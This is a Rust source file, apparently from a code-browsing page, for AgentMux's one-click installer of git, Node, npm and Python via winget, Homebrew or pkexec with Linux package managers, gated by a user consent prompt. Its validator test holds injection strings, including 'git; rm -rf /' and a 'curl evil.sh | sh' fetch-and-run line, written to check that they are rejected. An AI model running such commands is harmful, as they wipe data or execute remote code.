Skip to main content

agentmux_srv/server/
system_install_handlers.rs

1// Copyright 2026, AgentMux Corp.
2// SPDX-License-Identifier: Apache-2.0
3
4//! `toolchain.resolve_install_command` / `toolchain.install_system_tool` —
5//! one-click install of git/Node/npm/Python through the platform's own
6//! package manager, streamed via the exact same `install_chunk` wire
7//! shape `install.start` already uses.
8//!
9//! SPEC_SYSTEM_TOOLCHAIN_INSTALLER_2026_08_24.md. This is that spec's
10//! Phase 1+2 (Linux + macOS + Windows) — NOT its deferred Phase 3
11//! (bootstrapping a MISSING package manager itself: installing Homebrew
12//! from scratch, or guiding a pre-App-Installer Windows through updating
13//! it). If `brew`/`winget` aren't present, `resolve_install_step` simply
14//! returns `None` and the caller falls back to the existing link+copy-
15//! command UI — this module never tries to install the package manager.
16//!
17//! **The security-critical invariant of this whole module:** every
18//! command this module can ever run comes from the fixed, hardcoded
19//! catalog in `resolve_install_step` below, addressed only by a `tool_id`
20//! validated against `is_safe_tool_id`. The RPC boundary never accepts a
21//! package name, a raw command, or anything else that could reach a
22//! `Command`'s argv from client input. Every entry is a `Vec<String>`
23//! passed straight to `Command::new(program).args(args)` — never a shell
24//! string through `sh -c`/`cmd /c` — so there is no interpolation surface
25//! even though nothing in this table is user-suppliable today.
26//!
27//! **Only the user can start an install:** before anything runs, srv asks the person, as a modal over
28//! the pane whose Install they clicked ([`ask_in_pane`](crate::server::app_api::connections::ask_in_pane):
29//! drawn where no agent's UI tool reaches, answered only from the AgentMux window). The panel's own confirm is not enough: every agent holds
30//! the key this RPC takes. With no window to ask in, or no answer, nothing runs.
31
32#[cfg(windows)]
33use agentmux_common::win32::NoWindow;
34use std::sync::Arc;
35
36use serde::Deserialize;
37use serde_json::json;
38
39use crate::backend::rpc::engine::WshRpcEngine;
40use crate::backend::mps::Broker;
41use crate::server::app_api::connections::{ask_in_pane, UserAnswer};
42use crate::server::install_handlers::{resolve_tool_path, InstallChunkEvent, InstallStream};
43use crate::server::AppState;
44
45pub const COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND: &str = "toolchain.resolve_install_command";
46pub const COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL: &str = "toolchain.install_system_tool";
47
48/// Tool ids feed straight into the catalog match in `resolve_install_step`
49/// — same shape constraint as `install_handlers::is_safe_provider_id`
50/// (short, alnum + `_`/`-`), kept as its own function rather than reused
51/// so this module's validation doesn't silently drift if that one's
52/// constraints ever change for provider-id-specific reasons.
53fn is_safe_tool_id(s: &str) -> bool {
54    !s.is_empty()
55        && s.len() <= 32
56        && s.chars().all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-')
57}
58
59/// One resolved, ready-to-spawn install command. Never constructed from
60/// client input — always the output of `resolve_install_step`'s fixed
61/// catalog lookup.
62#[derive(Debug, Clone)]
63struct SystemInstallStep {
64    program: String,
65    args: Vec<String>,
66    /// Informs the consent-step copy the frontend shows before running
67    /// this ("This will show a Windows permission prompt" / "This will
68    /// ask for your password") — never used to skip or alter execution.
69    needs_elevation: bool,
70    /// Binary name to re-probe after a successful package-manager exit
71    /// (git/node/python's real executable — "npm" verifies via "node",
72    /// same bundled-together reasoning as `claim_key_for_tool`). A
73    /// package manager reporting success does NOT mean this process's
74    /// own PATH can see the new binary yet: on Windows especially,
75    /// winget/MSI installers update the registry-backed PATH, but a
76    /// long-running process (this srv) only re-reads its environment at
77    /// startup, not via the registry-change broadcast a newly-spawned
78    /// process would pick up. Verifying here lets the success message
79    /// tell the truth instead of silently declaring "installed" right
80    /// before the caller's own immediate re-probe shows "still not
81    /// found" — Codex P1, PR #2790.
82    verify_bin: String,
83    /// Version this exact command would install, queried live from the
84    /// package manager's own catalog at resolve time — never hardcoded.
85    /// A hardcoded "v24" here would repeat the exact staleness bug this
86    /// repo already hit once (Taskfile.yml's VERSION var pinned to a
87    /// specific `node@20` brew formula that outlived that major version
88    /// — see #2942). `None` when the query itself fails or isn't
89    /// implemented for this package manager (most Linux managers below);
90    /// the frontend falls back to unversioned copy in that case, never a
91    /// stale guess.
92    resolved_version: Option<String>,
93}
94
95/// Linux package managers this module knows how to drive, in detection
96/// priority order (first found on PATH wins — see `detect_linux_package_manager`).
97#[derive(Debug, Clone, Copy, PartialEq, Eq)]
98enum LinuxPackageManager {
99    AptGet,
100    Dnf,
101    Yum,
102    Pacman,
103    Zypper,
104    Apk,
105}
106
107impl LinuxPackageManager {
108    const ALL_IN_PRIORITY_ORDER: [LinuxPackageManager; 6] = [
109        LinuxPackageManager::AptGet,
110        LinuxPackageManager::Dnf,
111        LinuxPackageManager::Yum,
112        LinuxPackageManager::Pacman,
113        LinuxPackageManager::Zypper,
114        LinuxPackageManager::Apk,
115    ];
116
117    fn binary_name(&self) -> &'static str {
118        match self {
119            Self::AptGet => "apt-get",
120            Self::Dnf => "dnf",
121            Self::Yum => "yum",
122            Self::Pacman => "pacman",
123            Self::Zypper => "zypper",
124            Self::Apk => "apk",
125        }
126    }
127
128    /// Per-manager non-interactive install flags + the package list.
129    /// Each manager has genuinely different flag syntax — there is no
130    /// single "install -y <pkgs>" that works across all of them (pacman
131    /// uses `-S --noconfirm`, apk uses a bare `add`).
132    fn install_args(&self, packages: &[&str]) -> Vec<String> {
133        let mut args: Vec<String> = match self {
134            Self::AptGet | Self::Dnf | Self::Yum | Self::Zypper => {
135                vec!["install".to_string(), "-y".to_string()]
136            }
137            Self::Pacman => vec!["-S".to_string(), "--noconfirm".to_string()],
138            Self::Apk => vec!["add".to_string()],
139        };
140        args.extend(packages.iter().map(|s| s.to_string()));
141        args
142    }
143}
144
145/// Probe for a Linux system package manager on PATH, in priority order —
146/// first match wins (a system with both `apt-get` and an unrelated
147/// manually-installed tool named e.g. `dnf` should still prefer the
148/// native one). Every mainstream Linux distro ships with exactly one of
149/// these as part of the base OS — unlike Homebrew/winget, there is no
150/// "package manager itself might be missing" case to handle here.
151async fn detect_linux_package_manager() -> Option<LinuxPackageManager> {
152    for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
153        if resolve_tool_path(pm.binary_name()).await.is_some() {
154            return Some(pm);
155        }
156    }
157    None
158}
159
160/// Binary name to re-probe after a successful install (see
161/// `SystemInstallStep::verify_bin`'s doc comment). `"npm"` verifies via
162/// `"node"` (bundled together, same reasoning as `claim_key_for_tool`);
163/// `"python"`'s real executable name differs by platform.
164fn verify_bin_for_tool(tool_id: &str, windows: bool) -> Option<&'static str> {
165    match tool_id {
166        "git" => Some("git"),
167        "node" | "npm" => Some("node"),
168        "python" => Some(if windows { "python" } else { "python3" }),
169        _ => None,
170    }
171}
172
173/// Parses `winget show --id <id> -e`'s `Version:` line. Best-effort: any
174/// failure (winget missing/erroring, unexpected output format) returns
175/// `None` and the frontend falls back to unversioned copy — never a
176/// guess. Deliberately a separate call from the actual install, not a
177/// flag on it: `show` never mutates anything, so it's safe to run purely
178/// for display even before the user has consented to installing.
179async fn query_winget_version(winget_id: &str) -> Option<String> {
180    let mut c = tokio::process::Command::new("winget");
181    c.args(["show", "--id", winget_id, "-e"]);
182    #[cfg(windows)]
183    {
184        c.no_window();
185    }
186    let output = c.output().await.ok()?;
187    if !output.status.success() {
188        return None;
189    }
190    let stdout = String::from_utf8_lossy(&output.stdout);
191    stdout.lines().find_map(|line| {
192        line.strip_prefix("Version:").map(|v| v.trim().to_string())
193    })
194}
195
196// winget package identifiers — see https://github.com/microsoft/winget-pkgs.
197// `node`/`npm` share one identifier: npm ships bundled with Node, so there
198// is no separate winget package for it (mirrors the frontend catalog's
199// existing node/npm-both-resolve-to-node modeling). Its own function (not
200// inlined into `resolve_windows_step`) so `resolve_install_step` can look
201// up the same id to query a version from, without a second copy of this
202// match that could drift from the one that builds the actual install args.
203fn windows_winget_id(tool_id: &str) -> Option<&'static str> {
204    match tool_id {
205        "git" => Some("Git.Git"),
206        "node" | "npm" => Some("OpenJS.NodeJS.LTS"),
207        "python" => Some("Python.Python.3.12"),
208        _ => None,
209    }
210}
211
212fn resolve_windows_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
213    let winget_id = windows_winget_id(tool_id)?;
214    Some(SystemInstallStep {
215        program: "winget".to_string(),
216        args: vec![
217            "install".to_string(),
218            "--id".to_string(),
219            winget_id.to_string(),
220            "-e".to_string(),
221            "--silent".to_string(),
222            "--accept-package-agreements".to_string(),
223            "--accept-source-agreements".to_string(),
224        ],
225        // winget raises its own UAC prompt when a package's installer
226        // requires elevation (Git-for-Windows's and Node's MSI both do)
227        // — this process is never pre-elevated by AgentMux itself.
228        // SPEC_SYSTEM_TOOLCHAIN_INSTALLER_2026_08_24.md §3.1 flags that
229        // whether that prompt reliably attaches when winget is spawned
230        // from a non-console GUI-launched process is an open, real-
231        // hardware verification item, not yet confirmed.
232        needs_elevation: true,
233        verify_bin: verify_bin_for_tool(tool_id, true)?.to_string(),
234        resolved_version,
235    })
236}
237
238/// Parses `brew info --json=v2 <formula>`'s `versions.stable` field.
239/// Best-effort, same posture as `query_winget_version`.
240async fn query_brew_version(formula: &str) -> Option<String> {
241    let output = tokio::process::Command::new("brew")
242        .args(["info", "--json=v2", formula])
243        .output()
244        .await
245        .ok()?;
246    if !output.status.success() {
247        return None;
248    }
249    let parsed: serde_json::Value = serde_json::from_slice(&output.stdout).ok()?;
250    parsed
251        .get("formulae")?
252        .get(0)?
253        .get("versions")?
254        .get("stable")?
255        .as_str()
256        .map(|s| s.to_string())
257}
258
259/// Homebrew formula names — its own function for the same reason as
260/// `windows_winget_id` above: shared between the install-args builder and
261/// the version query, without a second copy that could drift.
262fn brew_formula(tool_id: &str) -> Option<&'static str> {
263    match tool_id {
264        "git" => Some("git"),
265        "node" | "npm" => Some("node"),
266        "python" => Some("python@3.12"),
267        _ => None,
268    }
269}
270
271/// Only reachable when `brew` is already on PATH (checked by the caller,
272/// `resolve_install_step`) — this module never bootstraps Homebrew itself.
273fn resolve_brew_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
274    let formula = brew_formula(tool_id)?;
275    Some(SystemInstallStep {
276        program: "brew".to_string(),
277        args: vec!["install".to_string(), formula.to_string()],
278        // Homebrew must not be run as root — this is the one platform
279        // with no elevation step to build at all.
280        needs_elevation: false,
281        verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
282        resolved_version,
283    })
284}
285
286/// Parses `apt-cache policy <pkg>`'s `Candidate:` line — the version apt
287/// would actually install right now. Scoped to apt only, deliberately:
288/// `dnf`/`pacman`/`zypper`/`apk` each have a genuinely different query
289/// command and output format (`dnf info`, `pacman -Si`, `zypper info`,
290/// `apk policy`/`apk info`), and implementing all five for a display-only
291/// version label isn't worth the surface area in one pass. Returns `None`
292/// for every other manager — the frontend falls back to unversioned copy,
293/// which is honest, not a stale guess pretending to be real.
294async fn query_apt_version(pkg: &str) -> Option<String> {
295    let output = tokio::process::Command::new("apt-cache")
296        .args(["policy", pkg])
297        .output()
298        .await
299        .ok()?;
300    if !output.status.success() {
301        return None;
302    }
303    let stdout = String::from_utf8_lossy(&output.stdout);
304    stdout.lines().find_map(|line| {
305        line.trim()
306            .strip_prefix("Candidate:")
307            .map(|v| v.trim().to_string())
308            .filter(|v| v != "(none)")
309    })
310}
311
312/// Primary package name to query a version for on apt specifically — the
313/// actual install still uses `resolve_linux_step`'s full, PM-aware package
314/// list below; this is only the one representative package worth asking
315/// apt "what version would you install" about for display purposes.
316fn apt_primary_package(tool_id: &str) -> Option<&'static str> {
317    match tool_id {
318        "git" => Some("git"),
319        "node" | "npm" => Some("nodejs"),
320        "python" => Some("python3"),
321        _ => None,
322    }
323}
324
325/// Elevated via `pkexec`, which raises the desktop's own native polkit
326/// authentication dialog — AgentMux never renders a password field or
327/// handles a credential itself. If no polkit agent is running (minimal
328/// window managers, some server-oriented desktops), `pkexec` fails fast
329/// with a clear, distinct error; the caller's existing link+copy-command
330/// fallback remains available regardless.
331///
332/// Package-name note (flagged, not "fixed" — SPEC §3.1): the Debian/
333/// Ubuntu (`apt-get`) `nodejs`/`npm` packages in the default repos are
334/// frequently well behind current Node LTS. A more correct install on
335/// `apt` systems specifically would go through the NodeSource setup
336/// script rather than the bare distro package; that's a real, open data
337/// decision for this catalog (bigger scope — a two-step fetch-then-run,
338/// not a plain package install) and is deliberately NOT implemented
339/// here. `dnf`/`pacman`/`zypper`/`apk`'s Node packages don't have the
340/// same well-known staleness reputation.
341fn resolve_linux_step(
342    tool_id: &str,
343    pm: LinuxPackageManager,
344    resolved_version: Option<String>,
345) -> Option<SystemInstallStep> {
346    let packages: &[&str] = match tool_id {
347        "git" => &["git"],
348        "node" | "npm" => &["nodejs", "npm"],
349        "python" => match pm {
350            LinuxPackageManager::AptGet => &["python3", "python3-pip", "python3-venv"],
351            LinuxPackageManager::Pacman => &["python", "python-pip"],
352            LinuxPackageManager::Apk => &["python3", "py3-pip"],
353            _ => &["python3", "python3-pip"],
354        },
355        _ => return None,
356    };
357    let mut args = vec![pm.binary_name().to_string()];
358    args.extend(pm.install_args(packages));
359    Some(SystemInstallStep {
360        program: "pkexec".to_string(),
361        args,
362        needs_elevation: true,
363        verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
364        resolved_version,
365    })
366}
367
368/// The one entry point into the catalog — dispatches by compile-time
369/// platform, then (macOS/Linux) by what's actually detected on this
370/// machine. Returns `None` whenever nothing can be resolved (unknown
371/// tool id, or — macOS/Linux only — no usable package manager found);
372/// callers must treat `None` as "fall back to the existing link+copy-
373/// command UI," never as an error.
374/// Normalizes which claim slot a tool_id occupies in
375/// `InstallSessionRegistry.active_system_tools`. `"npm"` shares Node's
376/// slot on every platform (§3.5: they resolve to the exact same
377/// winget/brew/apt-family package transaction — installing Node already
378/// gets npm), so starting installs from both rows concurrently must not
379/// be allowed to both pass the claim check and race two installs of the
380/// same package (winget/msi lock errors, duplicate install prompts).
381/// Codex P2, PR #2790.
382fn claim_key_for_tool(tool_id: &str) -> &str {
383    if tool_id == "npm" { "node" } else { tool_id }
384}
385
386async fn resolve_install_step(tool_id: &str) -> Option<SystemInstallStep> {
387    if cfg!(windows) {
388        // Symmetric with the macOS/Linux branches below: confirm the
389        // package manager itself is actually present before resolving a
390        // command for it. Without this, a Windows machine lacking winget
391        // (rare, but real — pre-App-Installer Windows 10) would get
392        // `available: true` with a command that fails to spawn instead of
393        // gracefully falling back to the existing link+copy-command UI.
394        // reagent P1, PR #2790.
395        resolve_tool_path("winget").await?;
396        let resolved_version = match windows_winget_id(tool_id) {
397            Some(id) => query_winget_version(id).await,
398            None => None,
399        };
400        resolve_windows_step(tool_id, resolved_version)
401    } else if cfg!(target_os = "macos") {
402        resolve_tool_path("brew").await?;
403        let resolved_version = match brew_formula(tool_id) {
404            Some(formula) => query_brew_version(formula).await,
405            None => None,
406        };
407        resolve_brew_step(tool_id, resolved_version)
408    } else {
409        let pm = detect_linux_package_manager().await?;
410        // Same class of check as the Windows/winget and macOS/brew
411        // branches above: a package manager being present doesn't mean
412        // `pkexec` (this module's one elevation mechanism on Linux, §3.1)
413        // is too — minimal containers, some WSL distros, and server
414        // images without a desktop/polkit stack routinely have apt/dnf
415        // but no pkexec. Without this check, `available: true` would be
416        // reported with a command that fails to spawn instead of falling
417        // back to the link+copy-command UI. reagent P2, PR #2790.
418        resolve_tool_path("pkexec").await?;
419        let resolved_version = match (pm, apt_primary_package(tool_id)) {
420            (LinuxPackageManager::AptGet, Some(pkg)) => query_apt_version(pkg).await,
421            _ => None,
422        };
423        resolve_linux_step(tool_id, pm, resolved_version)
424    }
425}
426
427#[derive(Debug, Deserialize, ts_rs::TS)]
428#[ts(export, export_to = "../../../frontend/types/rpc/")]
429#[serde(rename_all = "camelCase")]
430struct ToolIdReq {
431    tool_id: String,
432}
433
434/// `toolchain.install_system_tool`: the tool, and the pane whose button asked for it.
435#[derive(Debug, Deserialize, ts_rs::TS)]
436#[ts(export, export_to = "../../../frontend/types/rpc/")]
437#[serde(rename_all = "camelCase")]
438struct InstallSystemToolReq {
439    tool_id: String,
440    /// The pane the person clicked Install in: the question is asked over it. Without one it is
441    /// asked in the approval window over the main window.
442    #[serde(default)]
443    #[ts(optional)]
444    block_id: Option<String>,
445}
446
447/// What `toolchain.resolve_install_command` answers. Untagged, so the JSON is
448/// the same two shapes the handler always sent, and ts-rs renders it as the
449/// `{ available: false } | { available: true, ... }` union the frontend narrows on.
450#[derive(Debug, serde::Serialize, ts_rs::TS)]
451#[ts(export, export_to = "../../../frontend/types/rpc/")]
452#[serde(untagged)]
453enum ResolveInstallCommandResult {
454    Unavailable(InstallCommandUnavailable),
455    Available(InstallCommandAvailable),
456}
457
458#[derive(Debug, serde::Serialize, ts_rs::TS)]
459#[ts(export, export_to = "../../../frontend/types/rpc/")]
460struct InstallCommandUnavailable {
461    #[ts(type = "false")]
462    available: bool,
463}
464
465#[derive(Debug, serde::Serialize, ts_rs::TS)]
466#[ts(export, export_to = "../../../frontend/types/rpc/")]
467#[serde(rename_all = "camelCase")]
468struct InstallCommandAvailable {
469    #[ts(type = "true")]
470    available: bool,
471    program: String,
472    args: Vec<String>,
473    needs_elevation: bool,
474    command_preview: String,
475    /// The version this command would install, queried from the package
476    /// manager's catalog; null when the query failed or isn't implemented.
477    resolved_version: Option<String>,
478}
479
480/// What `toolchain.install_system_tool` answers: the install session to follow.
481#[derive(Debug, serde::Serialize, ts_rs::TS)]
482#[ts(export, export_to = "../../../frontend/types/rpc/")]
483#[serde(rename_all = "camelCase")]
484struct InstallSystemToolResult {
485    session_id: String,
486}
487
488/// The question the user is asked before `step` runs: the exact command, and that it may ask for
489/// permission.
490fn approval_question(tool_id: &str, step: &SystemInstallStep) -> serde_json::Value {
491    let command = format!("{} {}", step.program, step.args.join(" "));
492    let elevation = if step.needs_elevation { "\n\nIt will ask for your permission (or password) to continue." } else { "" };
493    json!({
494        "kind": "consent",
495        "title": format!("Install {tool_id}"),
496        "message": format!("AgentMux will run this on this computer:\n\n{command}{elevation}\n\nInstall it?"),
497        "ok_label": "Install",
498        "cancel_label": "Cancel",
499    })
500}
501
502/// `Ok` only for an answered yes. A missing window, a closed one, a timeout and a no all refuse.
503fn require_approval(answer: Result<UserAnswer, String>, tool_id: &str) -> Result<(), String> {
504    match answer {
505        Ok(a) if a.answered && a.approve => Ok(()),
506        Ok(a) if a.answered => Err(format!("toolchain.install_system_tool: the user declined to install {tool_id}")),
507        Ok(_) => Err(format!("toolchain.install_system_tool: the user did not approve installing {tool_id} in time")),
508        Err(e) => Err(format!("toolchain.install_system_tool: installing {tool_id} needs the user's approval, and {e}")),
509    }
510}
511
512/// A tool's install claim, released when dropped while `armed`: a refusal, or the request ending
513/// before the install starts.
514struct ClaimGuard {
515    registry: Arc<crate::server::install_handlers::InstallSessionRegistry>,
516    key: String,
517    armed: bool,
518}
519
520impl Drop for ClaimGuard {
521    fn drop(&mut self) {
522        if self.armed {
523            self.registry.release_system_tool(&self.key);
524        }
525    }
526}
527
528/// Ask the user whether `step` may run: in pane `block_id`, where they clicked Install, or with
529/// none named in the approval window over the main window.
530async fn approve_install(state: &AppState, block_id: &str, tool_id: &str, step: &SystemInstallStep) -> Result<(), String> {
531    require_approval(ask_in_pane(state, block_id, approval_question(tool_id, step)).await, tool_id)
532}
533
534pub fn register_system_install_handlers(engine: &Arc<WshRpcEngine>, state: &AppState) {
535    engine.register_typed(COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND, move |req: ToolIdReq, _ctx| {
536        async move {
537                if !is_safe_tool_id(&req.tool_id) {
538                    return Err(format!(
539                        "toolchain.resolve_install_command: invalid tool id {:?}",
540                        req.tool_id
541                    ));
542                }
543                Ok(match resolve_install_step(&req.tool_id).await {
544                    Some(step) => ResolveInstallCommandResult::Available(InstallCommandAvailable {
545                        available: true,
546                        command_preview: format!("{} {}", step.program, step.args.join(" ")),
547                        program: step.program,
548                        args: step.args,
549                        needs_elevation: step.needs_elevation,
550                        resolved_version: step.resolved_version,
551                    }),
552                    None => ResolveInstallCommandResult::Unavailable(InstallCommandUnavailable { available: false }),
553                })
554        }
555    });
556
557    let registry = state.install_sessions.clone();
558    let broker = state.broker.clone();
559    let app = state.clone();
560    engine.register_typed(COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL, move |req: InstallSystemToolReq, _ctx| {
561        let registry = registry.clone();
562        let broker = broker.clone();
563        let app = app.clone();
564        async move {
565                if !is_safe_tool_id(&req.tool_id) {
566                    return Err(format!(
567                        "toolchain.install_system_tool: invalid tool id {:?}",
568                        req.tool_id
569                    ));
570                }
571                let step = resolve_install_step(&req.tool_id).await.ok_or_else(|| {
572                    format!(
573                        "toolchain.install_system_tool: no installable command resolved for {:?} on this platform",
574                        req.tool_id
575                    )
576                })?;
577                let claim_key = claim_key_for_tool(&req.tool_id).to_string();
578                if !registry.try_claim_system_tool(&claim_key) {
579                    return Err(format!(
580                        "toolchain.install_system_tool: {} is already being installed in another session",
581                        req.tool_id
582                    ));
583                }
584                // Held while the user is asked, so a second request for the tool is refused at once
585                // instead of asking a second time. Let go unless the install starts.
586                let mut claim = ClaimGuard { registry: registry.clone(), key: claim_key.clone(), armed: true };
587                // Before anything runs: the user's yes, asked by srv itself.
588                approve_install(&app, req.block_id.as_deref().unwrap_or(""), &req.tool_id, &step).await?;
589                claim.armed = false;
590                let session_id = format!("sysinstall-{}", uuid::Uuid::new_v4());
591                tracing::info!(
592                    session_id = %session_id,
593                    tool_id = %req.tool_id,
594                    program = %step.program,
595                    args = ?step.args,
596                    "toolchain.install_system_tool"
597                );
598
599                let (cancel_tx, cancel_rx) = tokio::sync::oneshot::channel();
600                registry.insert(session_id.clone(), cancel_tx);
601
602                spawn_system_install_task(
603                    broker,
604                    registry,
605                    session_id.clone(),
606                    claim_key,
607                    step,
608                    cancel_rx,
609                );
610
611                Ok(InstallSystemToolResult { session_id })
612        }
613    });
614}
615
616fn spawn_system_install_task(
617    broker: Arc<Broker>,
618    registry: Arc<crate::server::install_handlers::InstallSessionRegistry>,
619    session_id: String,
620    // Already normalized via `claim_key_for_tool` by the caller — "npm"
621    // and "node" share this same key so a release here always matches
622    // whichever key was actually claimed.
623    claim_key: String,
624    step: SystemInstallStep,
625    mut cancel_rx: tokio::sync::oneshot::Receiver<()>,
626) {
627    tokio::spawn(async move {
628        use std::process::Stdio;
629        use tokio::io::{AsyncBufReadExt, BufReader};
630        use tokio::process::Command;
631
632        // Reuses the EXACT `install_chunk` wire shape `install.start`
633        // already emits (`sessionId`/`line`/`stream`, and a terminal
634        // `{op:"done", ok, error?}`) scoped `install:<sessionId>` — so
635        // the frontend's existing streaming-log subscription code needs
636        // no new event type to render this.
637        let scope = format!("install:{}", session_id);
638        let emit_line = |broker: &Broker, line: String, stream: InstallStream| {
639            broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_id, line, stream), vec![scope.clone()], 1024);
640        };
641        let emit_done = |broker: &Broker, ok: bool, error: Option<String>| {
642            broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::done(&session_id, ok, json!(error)), vec![scope.clone()], 1024);
643        };
644
645        emit_line(
646            &broker,
647            format!("$ {} {}", step.program, step.args.join(" ")),
648            InstallStream::Stdout,
649        );
650
651        let mut cmd = Command::new(&step.program);
652        // An arbitrary install program from a recipe step.
653        crate::backend::pane_env::sanitize_external_command(&mut cmd);
654        cmd.args(&step.args);
655        cmd.stdin(Stdio::null())
656            .stdout(Stdio::piped())
657            .stderr(Stdio::piped())
658            .kill_on_drop(true);
659        #[cfg(windows)]
660        {
661            cmd.no_window(); // CREATE_NO_WINDOW
662        }
663
664        let mut child = match cmd.spawn() {
665            Ok(c) => c,
666            Err(e) => {
667                emit_done(&broker, false, Some(format!("spawn {}: {e}", step.program)));
668                registry.drop_session(&session_id);
669                registry.release_system_tool(&claim_key);
670                return;
671            }
672        };
673
674        let stdout = child.stdout.take().expect("piped");
675        let stderr = child.stderr.take().expect("piped");
676
677        let broker_out = broker.clone();
678        let scope_out = scope.clone();
679        let session_out = session_id.clone();
680        let stdout_task = tokio::spawn(async move {
681            let mut lines = BufReader::new(stdout).lines();
682            while let Ok(Some(line)) = lines.next_line().await {
683                broker_out.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_out, line, InstallStream::Stdout), vec![scope_out.clone()], 1024);
684            }
685        });
686
687        let broker_err = broker.clone();
688        let scope_err = scope.clone();
689        let session_err = session_id.clone();
690        let stderr_task = tokio::spawn(async move {
691            let mut lines = BufReader::new(stderr).lines();
692            while let Ok(Some(line)) = lines.next_line().await {
693                broker_err.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_err, line, InstallStream::Stderr), vec![scope_err.clone()], 1024);
694            }
695        });
696
697        tokio::select! {
698            wait = child.wait() => {
699                let _ = stdout_task.await;
700                let _ = stderr_task.await;
701                match wait {
702                    Ok(s) if s.success() => {
703                        // The package manager succeeding does NOT mean
704                        // THIS already-running process can see the new
705                        // binary yet — its own PATH was captured at
706                        // startup and isn't refreshed by a Windows
707                        // registry-change broadcast or a new login-shell
708                        // read. Re-probe with the same mechanism the
709                        // caller's post-install refresh will use, so a
710                        // stale-PATH case is explained here instead of
711                        // silently contradicting itself a moment later
712                        // when that refresh still reports "not found".
713                        // Codex P1, PR #2790.
714                        if resolve_tool_path(&step.verify_bin).await.is_none() {
715                            emit_line(
716                                &broker,
717                                format!(
718                                    "Note: {} finished successfully, but AgentMux's current session doesn't see \"{}\" yet — restart AgentMux to pick up the updated PATH.",
719                                    step.program, step.verify_bin
720                                ),
721                                InstallStream::Stdout,
722                            );
723                        }
724                        emit_done(&broker, true, None);
725                    }
726                    Ok(s) => emit_done(&broker, false, Some(format!("{} exited {:?}", step.program, s.code()))),
727                    Err(e) => emit_done(&broker, false, Some(format!("wait: {e}"))),
728                }
729            }
730            // Reachable only if a session dies via connection drop before
731            // the process starts producing output — the frontend never
732            // offers a Cancel button once this task has actually spawned
733            // the privileged command (SPEC §3.4: interrupting a package
734            // manager mid-transaction, e.g. mid-dpkg-unpack, can leave
735            // broken system state; that's a pre-existing risk of package
736            // managers in general, not one this UI should make easier to
737            // hit by offering a cancel button that implies it's safe).
738            _ = &mut cancel_rx => {
739                tracing::info!(session_id = %session_id, "toolchain.install_system_tool: cancel — killing child");
740                let _ = child.kill().await;
741                let _ = stdout_task.await;
742                let _ = stderr_task.await;
743                emit_done(&broker, false, Some("cancelled".into()));
744            }
745        }
746
747        registry.drop_session(&session_id);
748        registry.release_system_tool(&claim_key);
749    });
750}
751
752#[cfg(test)]
753mod tests {
754    use super::*;
755
756    fn step() -> SystemInstallStep {
757        resolve_windows_step("git", None).unwrap()
758    }
759
760    fn answer(answered: bool, approve: bool) -> Result<UserAnswer, String> {
761        Ok(UserAnswer { answered, approve, ..Default::default() })
762    }
763
764    #[test]
765    fn the_question_names_the_exact_command_and_the_permission_prompt() {
766        let q = approval_question("git", &step());
767        assert_eq!(q["kind"], "consent");
768        let message = q["message"].as_str().unwrap();
769        assert!(message.contains("winget install"), "{message}");
770        assert!(message.contains("Git.Git"), "{message}");
771        assert!(message.contains("permission"), "git needs elevation on Windows: {message}");
772    }
773
774    #[test]
775    fn only_an_answered_yes_approves() {
776        assert!(require_approval(answer(true, true), "git").is_ok());
777        assert!(require_approval(answer(true, false), "git").unwrap_err().contains("declined"));
778        // Closed, timed out, or never opened.
779        assert!(require_approval(answer(false, true), "git").unwrap_err().contains("in time"));
780        assert!(require_approval(answer(false, false), "git").is_err());
781        assert!(require_approval(Err("no AgentMux window is connected to ask the user in".into()), "git")
782            .unwrap_err()
783            .contains("needs the user's approval"));
784    }
785
786    /// A caller that reaches the RPC with no window to ask in gets nothing started.
787    #[tokio::test]
788    async fn with_no_window_to_ask_in_nothing_is_approved() {
789        let state = crate::server::tests::test_state();
790        assert!(state.host_ipc.lock().await.is_none());
791        for block in ["", "toolchain-pane"] {
792            let err = approve_install(&state, block, "git", &step()).await.unwrap_err();
793            assert!(err.contains("no AgentMux window is connected"), "{block:?}: {err}");
794        }
795    }
796
797    /// The claim held while the user is asked goes back unless the install starts.
798    #[tokio::test]
799    async fn the_claim_is_released_on_a_refusal_and_kept_for_an_install() {
800        let registry = crate::server::tests::test_state().install_sessions.clone();
801        let guard = |armed| ClaimGuard { registry: registry.clone(), key: "git".into(), armed };
802        assert!(registry.try_claim_system_tool("git"));
803        drop(guard(true));
804        assert!(registry.try_claim_system_tool("git"), "released: the next request can claim it");
805        drop(guard(false));
806        assert!(!registry.try_claim_system_tool("git"), "kept: the install owns it");
807        registry.release_system_tool("git");
808    }
809
810    #[test]
811    fn is_safe_tool_id_accepts_the_real_catalog_ids() {
812        for id in ["git", "node", "npm", "python"] {
813            assert!(is_safe_tool_id(id), "{id} should be accepted");
814        }
815    }
816
817    #[test]
818    fn is_safe_tool_id_rejects_shell_metacharacters_and_oversized_input() {
819        for id in ["git; rm -rf /", "node && curl evil.sh | sh", "", &"a".repeat(33), "../etc"] {
820            assert!(!is_safe_tool_id(id), "{id:?} should be rejected");
821        }
822    }
823
824    #[test]
825    fn resolve_windows_step_covers_the_catalog_and_rejects_unknown_ids() {
826        let git = resolve_windows_step("git", None).unwrap();
827        assert_eq!(git.program, "winget");
828        assert!(git.args.contains(&"Git.Git".to_string()));
829        assert!(git.needs_elevation);
830
831        // node and npm resolve to the SAME winget package — npm ships
832        // bundled with Node, there is no separate winget entry for it.
833        let node = resolve_windows_step("node", None).unwrap();
834        let npm = resolve_windows_step("npm", None).unwrap();
835        assert_eq!(node.args, npm.args);
836        assert!(node.args.contains(&"OpenJS.NodeJS.LTS".to_string()));
837
838        assert!(resolve_windows_step("python", None).is_some());
